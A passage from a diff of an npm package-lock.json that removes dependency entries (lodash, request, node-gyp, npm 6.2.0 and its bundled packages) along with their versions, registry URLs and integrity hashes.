"https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", - "dev": true - }, - "mime-db": { - "version": "1.43.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", - "integrity": "sha512-+5dsGEEovYbT8UY9yD7eE4XTc4UwJ1jBYlgaQQF38ENsKR3wj/8q8RFZrF9WIZpB2V1ArTVFUva8sAul1NzRzQ==", - "dev": true - }, - "mime-types": { - "version": "2.1.26", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.26.tgz", - "integrity": "sha512-01paPWYgLrkqAyrlDorC1uDwl2p3qZT7yl806vW7DvDoxwXi46jsjFbg+WdwotBIk6/MbEhO/dh5aZ5sNj/dWQ==", - "dev": true, - "requires": { - "mime-db": "1.43.0" - } - }, - "nan": { - "version": "2.14.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", - "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", - "dev": true - }, - "node-gyp": { - "version": "3.8.0", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", - "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", - "dev": true, - "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "^2.87.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - } - }, - "oauth-sign": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", - "dev": true - }, - "qs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "dev": true - }, - "request": { - "version": "2.88.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", - "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", - "dev": true, - "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.0", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" - } - }, - "safe-buffer": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", - "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", - "dev": true - }, - "semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "dev": true - }, - "uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", - "dev": true - }, - "which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "node-wp-i18n": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/node-wp-i18n/-/node-wp-i18n-1.2.0.tgz", - "integrity": "sha512-HsvI4yYt+bZ1G92Sb4YmAz2xoC7t/YWct/OPa33ZczjLrRpp7R9Wj7vp1gq2bcrCI2U7MX8Kuw0Iy7AwEPohdA==", - "dev": true, - "requires": { - "bluebird": "^3.4.1", - "gettext-parser": "^1.2.0", - "glob": "^7.0.5", - "lodash": "^4.14.2", - "minimist": "^1.2.0", - "mkdirp": "^0.5.1", - "tmp": "^0.0.33" - } - }, - "noop-logger": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/noop-logger/-/noop-logger-0.1.1.tgz", - "integrity": "sha1-lKKxYzxPExdVMAfYlm/Q6EG2pMI=", - "dev": true, - "optional": true - }, - "nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, - "requires": { - "abbrev": "1" - } - }, - "normalize-package-data": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "requires": { - "remove-trailing-separator": "^1.0.1" - } - }, - "normalize-range": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", - "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", - "dev": true - }, - "normalize-url": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz", - "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=", - "dev": true, - "requires": { - "object-assign": "^4.0.1", - "prepend-http": "^1.0.0", - "query-string": "^4.1.0", - "sort-keys": "^1.0.0" - } - }, - "npm": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.2.0.tgz", - "integrity": "sha512-GnlNsOnxwVJX4WSfyQY0gY3LnUX2cc46XU0eu1g+WSuZgDRUGmw8tuptitJu6byp0RWGT8ZEAKajblwdhQHN8A==", - "dev": true, - "requires": { - "abbrev": "~1.1.1", - "ansicolors": "~0.3.2", - "ansistyles": "~0.1.3", - "aproba": "~1.2.0", - "archy": "~1.0.0", - "bin-links": "^1.1.2", - "bluebird": "~3.5.1", - "byte-size": "^4.0.3", - "cacache": "^11.0.2", - "call-limit": "~1.1.0", - "chownr": "~1.0.1", - "cli-columns": "^3.1.2", - "cli-table3": "^0.5.0", - "cmd-shim": "~2.0.2", - "columnify": "~1.5.4", - "config-chain": "~1.1.11", - "debuglog": "*", - "detect-indent": "~5.0.0", - "detect-newline": "^2.1.0", - "dezalgo": "~1.0.3", - "editor": "~1.0.0", - "figgy-pudding": "^3.1.0", - "find-npm-prefix": "^1.0.2", - "fs-vacuum": "~1.2.10", - "fs-write-stream-atomic": "~1.0.10", - "gentle-fs": "^2.0.1", - "glob": "~7.1.2", - "graceful-fs": "~4.1.11", - "has-unicode": "~2.0.1", - "hosted-git-info": "^2.6.0", - "iferr": "^1.0.0", - "imurmurhash": "*", - "inflight": "~1.0.6", - "inherits": "~2.0.3", - "ini": "^1.3.5", - "init-package-json": "^1.10.3", - "is-cidr": "^2.0.6", - "json-parse-better-errors": "^1.0.2", - "JSONStream": "^1.3.3", - "lazy-property": "~1.0.0", - "libcipm": "^2.0.0", - "libnpmhook": "^4.0.1", - "libnpx": "^10.2.0", - "lock-verify": "^2.0.2", - "lockfile": "^1.0.4", - "lodash._baseindexof": "*", - "lodash._baseuniq": "~4.6.0", - "lodash._bindcallback": "*", - "lodash._cacheindexof": "*", - "lodash._createcache": "*", - "lodash._getnative": "*", - "lodash.clonedeep": "~4.5.0", - "lodash.restparam": "*", - "lodash.union": "~4.6.0", - "lodash.uniq": "~4.5.0", - "lodash.without": "~4.4.0", - "lru-cache": "^4.1.3", - "meant": "~1.0.1", - "mississippi": "^3.0.0", - "mkdirp": "~0.5.1", - "move-concurrently": "^1.0.1", - "node-gyp": "^3.7.0", - "nopt": "~4.0.1", - "normalize-package-data": "~2.4.0", - "npm-audit-report": "^1.3.1", - "npm-cache-filename": "~1.0.2", - "npm-install-checks": "~3.0.0", - "npm-lifecycle": "^2.0.3", - "npm-package-arg": "^6.1.0", - "npm-packlist": "~1.1.10", - "npm-pick-manifest": "^2.1.0", - "npm-profile": "^3.0.2", - "npm-registry-client": "^8.5.1", - "npm-registry-fetch": "^1.1.0", - "npm-user-validate": "~1.0.0", - "npmlog": "~4.1.2", - "once": "~1.4.0", - "opener": "~1.4.3", - "osenv": "^0.1.5", - "pacote": "^8.1.6", - "path-is-inside": "~1.0.2", - "promise-inflight": "~1.0.1", - "qrcode-terminal": "^0.12.0", - "query-string": "^6.1.0", - "qw": "~1.0.1", - "read": "~1.0.7", - "read-cmd-shim": "~1.0.1", - "read-installed": "~4.0.3", - "read-package-json": "^2.0.13", - "read-package-tree": "^5.2.1", - "readable-stream": "^2.3.6", - "readdir-scoped-modules": "*", - "request": "^2.81.0", - "retry": "^0.12.0", - "rimraf": "~2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "sha": "~2.0.1", - "slide": "~1.1.6", - "sorted-object": "~2.0.1", - "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.0", - "tar": "^4.4.4", - "text-table": "~0.2.0", - "tiny-relative-date": "^1.3.0", - "uid-number": "0.0.6", - "umask": "~1.1.0", - "unique-filename": "~1.1.0", - "unpipe": "~1.0.0", - "update-notifier": "^2.5.0", - "uuid": "^3.3.2", - "validate-npm-package-license": "^3.0.3", - "validate-npm-package-name": "~3.0.0", - "which": "^1.3.1", - "worker-farm": "^1.6.0", - "wrappy": "~1.0.2", - "write-file-atomic": "^2.3.0" - }, - "dependencies": { - "abbrev": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", - "bundled": true, - "dev": true - }, - "agent-base": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.2.0.tgz", - "integrity": "sha512-c+R/U5X+2zz2+UCrCFv6odQzJdoqI+YecuhnAJLa1zYaMc13zPfwMwZrr91Pd1DYNo/yPRbiM4WVf9whgwFsIg==", - "bundled": true, - "dev": true, - "requires": { - "es6-promisify": "^5.0.0" - } - }, - "agentkeepalive": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-3.4.1.tgz", - "integrity": "sha512-MPIwsZU9PP9kOrZpyu2042kYA8Fdt/AedQYkYXucHgF9QoD9dXVp0ypuGnHXSR0hTstBxdt85Xkh4JolYfK5wg==", - "bundled": true, - "dev": true, - "requires": { - "humanize-ms": "^1.2.1" - } - }, - "ansi-align": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-2.0.0.tgz", - "integrity": "sha1-w2rsy6VjuJzrVW82kPCx2eNUf38=", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^2.0.0" - } - }, - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "bundled": true, - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "bundled": true, - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "ansicolors": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz", - "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=", - "bundled": true, - "dev": true - }, - "ansistyles": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/ansistyles/-/ansistyles-0.1.3.tgz", - "integrity": "sha1-XeYEFb2gcbs3EnhUyGT0GyMlRTk=", - "bundled": true, - "dev": true - }, - "aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "bundled": true, - "dev": true - }, - "archy": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", - "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=", - "bundled": true, - "dev": true - }, - "are-we-there-yet": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.4.tgz", - "integrity": "sha1-u13KOCu5TwXhUZQ3PRb9O6HKEQ0=", - "bundled": true, - "dev": true, - "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, - "asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=", - "bundled": true, - "dev": true - }, - "asn1": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", - "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", - "bundled": true, - "dev": true - }, - "assert-plus": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz", - "integrity": "sha1-104bh+ev/A24qttwIfP+SBAasjQ=", - "bundled": true, - "dev": true - }, - "asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "bundled": true, - "dev": true - }, - "aws-sign2": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz", - "integrity": "sha1-FDQt0428yU0OW4fXY81jYSwOeU8=", - "bundled": true, - "dev": true - }, - "aws4": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz", - "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w==", - "bundled": true, - "dev": true - }, - "balanced-match": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "bundled": true, - "dev": true - }, - "bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "tweetnacl": "^0.14.3" - } - }, - "bin-links": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/bin-links/-/bin-links-1.1.2.tgz", - "integrity": "sha512-8eEHVgYP03nILphilltWjeIjMbKyJo3wvp9K816pHbhP301ismzw15mxAAEVQ/USUwcP++1uNrbERbp8lOA6Fg==", - "bundled": true, - "dev": true, - "requires": { - "bluebird": "^3.5.0", - "cmd-shim": "^2.0.2", - "gentle-fs": "^2.0.0", - "graceful-fs": "^4.1.11", - "write-file-atomic": "^2.3.0" - } - }, - "block-stream": { - "version": "0.0.9", - "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", - "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", - "bundled": true, - "dev": true, - "requires": { - "inherits": "~2.0.0" - } - }, - "bluebird": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", - "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", - "bundled": true, - "dev": true - }, - "boom": { - "version": "2.10.1", - "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz", - "integrity": "sha1-OciRjO/1eZ+D+UkqhI9iWt0Mdm8=", - "bundled": true, - "dev": true, - "requires": { - "hoek": "2.x.x" - } - }, - "boxen": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/boxen/-/boxen-1.3.0.tgz", - "integrity": "sha512-TNPjfTr432qx7yOjQyaXm3dSR0MH9vXp7eT1BFSl/C51g+EFnOR9hTg1IreahGBmDNCehscshe45f+C1TBZbLw==", - "bundled": true, - "dev": true, - "requires": { - "ansi-align": "^2.0.0", - "camelcase": "^4.0.0", - "chalk": "^2.0.1", - "cli-boxes": "^1.0.0", - "string-width": "^2.0.0", - "term-size": "^1.2.0", - "widest-line": "^2.0.0" - } - }, - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "bundled": true, - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "buffer-from": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.0.0.tgz", - "integrity": "sha512-83apNb8KK0Se60UE1+4Ukbe3HbfELJ6UlI4ldtOGs7So4KD26orJM8hIY9lxdzP+UpItH1Yh/Y8GUvNFWFFRxA==", - "bundled": true, - "dev": true - }, - "builtin-modules": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", - "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", - "bundled": true, - "dev": true - }, - "builtins": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/builtins/-/builtins-1.0.3.tgz", - "integrity": "sha1-y5T662HIaWRR2zZTThQi+U8K7og=", - "bundled": true, - "dev": true - }, - "byline": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz", - "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE=", - "bundled": true, - "dev": true - }, - "byte-size": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/byte-size/-/byte-size-4.0.3.tgz", - "integrity": "sha512-JGC3EV2bCzJH/ENSh3afyJrH4vwxbHTuO5ljLoI5+2iJOcEpMgP8T782jH9b5qGxf2mSUIp1lfGnfKNrRHpvVg==", - "bundled": true, - "dev": true - }, - "cacache": { - "version": "11.0.2", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-11.0.2.tgz", - "integrity": "sha512-hMiz7LN4w8sdfmKsvNs80ao/vf2JCGWWdpu95JyY90AJZRbZJmgE71dCefRiNf8OCqiZQDcUBfYiLlUNu4/j5A==", - "bundled": true, - "dev": true, - "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "figgy-pudding": "^3.1.0", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^6.0.0", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - } - }, - "call-limit": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/call-limit/-/call-limit-1.1.0.tgz", - "integrity": "sha1-b9YbA/PaQqLNDsK2DwK9DnGZH+o=", - "bundled": true, - "dev": true - }, - "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "bundled": true, - "dev": true - }, - "capture-stack-trace": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/capture-stack-trace/-/capture-stack-trace-1.0.0.tgz", - "integrity": "sha1-Sm+gc5nCa7pH8LJJa00PtAjFVQ0=", - "bundled": true, - "dev": true - }, - "caseless": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "bundled": true, - "dev": true - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "bundled": true, - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "chownr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", - "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", - "bundled": true, - "dev": true - }, - "ci-info": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-1.1.3.tgz", - "integrity": "sha512-SK/846h/Rcy8q9Z9CAwGBLfCJ6EkjJWdpelWDufQpqVDYq2Wnnv8zlSO6AMQap02jvhVruKKpEtQOufo3pFhLg==", - "bundled": true, - "dev": true - }, - "cidr-regex": { - "version": "2.0.9", - "resolved": "https://registry.npmjs.org/cidr-regex/-/cidr-regex-2.0.9.tgz", - "integrity": "sha512-F7/fBRUU45FnvSPjXdpIrc++WRSBdCiSTlyq4ZNhLKOlHFNWgtzZ0Fd+zrqI/J1j0wmlx/f5ZQDmD2GcbrNcmw==", - "bundled": true, - "dev": true, - "requires": { - "ip-regex": "^2.1.0" - } - }, - "cli-boxes": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-1.0.0.tgz", - "integrity": "sha1-T6kXw+WclKAEzWH47lCdplFocUM=", - "bundled": true, - "dev": true - }, - "cli-columns": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/cli-columns/-/cli-columns-3.1.2.tgz", - "integrity": "sha1-ZzLZcpee/CrkRKHwjgj6E5yWoY4=", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^2.0.0", - "strip-ansi": "^3.0.1" - } - }, - "cli-table3": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.5.0.tgz", - "integrity": "sha512-c7YHpUyO1SaKaO7kYtxd5NZ8FjAmSK3LpKkuzdwn+2CwpFxBpdoQLm+OAnnCfoEl7onKhN9PKQi1lsHuAIUqGQ==", - "bundled": true, - "dev": true, - "requires": { - "colors": "^1.1.2", - "object-assign": "^4.1.0", - "string-width": "^2.1.1" - } - }, - "cliui": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", - "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "bundled": true, - "dev": true - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "bundled": true, - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - } - } - }, - "clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", - "bundled": true, - "dev": true - }, - "cmd-shim": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/cmd-shim/-/cmd-shim-2.0.2.tgz", - "integrity": "sha1-b8vamUg6j9FdfTChlspp1oii79s=", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "mkdirp": "~0.5.0" - } - }, - "co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", - "bundled": true, - "dev": true - }, - "code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "bundled": true, - "dev": true - }, - "color-convert": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.1.tgz", - "integrity": "sha512-mjGanIiwQJskCC18rPR6OmrZ6fm2Lc7PeGFYwCmy5J34wC6F1PzdGL6xeMfmgicfYcNLGuVFA3WzXtIDCQSZxQ==", - "bundled": true, - "dev": true, - "requires": { - "color-name": "^1.1.1" - } - }, - "color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "bundled": true, - "dev": true - }, - "colors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.0.tgz", - "integrity": "sha512-EDpX3a7wHMWFA7PUHWPHNWqOxIIRSJetuwl0AS5Oi/5FMV8kWm69RTlgm00GKjBO1xFHMtBbL49yRtMMdticBw==", - "bundled": true, - "dev": true, - "optional": true - }, - "columnify": { - "version": "1.5.4", - "resolved": "https://registry.npmjs.org/columnify/-/columnify-1.5.4.tgz", - "integrity": "sha1-Rzfd8ce2mop8NAVweC6UfuyOeLs=", - "bundled": true, - "dev": true, - "requires": { - "strip-ansi": "^3.0.0", - "wcwidth": "^1.0.0" - } - }, - "combined-stream": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", - "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", - "bundled": true, - "dev": true, - "requires": { - "delayed-stream": "~1.0.0" - } - }, - "concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "bundled": true, - "dev": true - }, - "concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "bundled": true, - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "config-chain": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.11.tgz", - "integrity": "sha1-q6CXR9++TD5w52am5BWG4YWfxvI=", - "bundled": true, - "dev": true, - "requires": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" - } - }, - "configstore": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/configstore/-/configstore-3.1.2.tgz", - "integrity": "sha512-vtv5HtGjcYUgFrXc6Kx747B83MRRVS5R1VTEQoXvuP+kMI+if6uywV0nDGoiydJRy4yk7h9od5Og0kxx4zUXmw==", - "bundled": true, - "dev": true, - "requires": { - "dot-prop": "^4.1.0", - "graceful-fs": "^4.1.2", - "make-dir": 